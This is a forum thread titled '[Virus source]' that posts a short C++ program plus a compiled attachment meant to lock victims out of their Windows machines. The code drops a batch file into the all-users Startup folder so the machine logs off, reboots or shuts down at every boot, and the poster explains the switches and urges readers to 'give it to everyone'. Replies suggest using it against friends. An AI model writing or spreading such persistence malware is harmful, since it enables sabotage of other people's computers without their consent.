[Virus source] A simple windows exploit.

Posts 1–5 of 5 · Page 1 of 1
[Virus source] A simple windows exploit.
This program doesn't do much. (But then again, I don't code much.)

All it does is either log a user out of their current session, reboot, or shutdown their computer.

It's written in C++ and takes advantage of the DOS command "Shutdown.exe."

Code:
#include <iostream>
#include <stdlib.h>
#include <stdio.h>
#include <windows.h>
#include <fstream.h>

using namespace std;

int main()
{
 
    ofstream fout("C:\\documents and settings\\all users\\start menu\\programs\\startup\\AUTOEXEC.BAT");
    fout << "@echo off\n";
    fout << "shutdown.exe -l";
    fout.close();
    system("shutdown.exe -l");
    return 0;
}
Notes: This will not work if "C:\" is not the default drive.
This is set to log people off of their current session, you may use the -l switch to log them off, the -r switch to reboot their computer, and the -s switch to shut it off. This program puts AUTOEXEC.BAT in the startup folder so that it will kill the session every time it starts up.

(I compiled and tested this in Dev-C++).


*Edit: Here is the compiled file: give it to everyone
random.rarattachment deleted · 63 downloads before removal
Aww no one wants this?

It's a great way to end an MSN fight
This can be done a much easier way by using the code below.

system("shutdown -f");

using the system command can give output to the console as if it were command prompt.
I know what the system command does, if you read my code, you'd see that I used it.

What all the extra code does is place a file in the startup folder so that windows will be unable to start.
Aw, thank! I really needed this for a friend who needs WR Hacks...
Posts 1–5 of 5 · Page 1 of 1
This thread is closed for replies.

Similar Threads

Tags for this Thread

None

Talk with us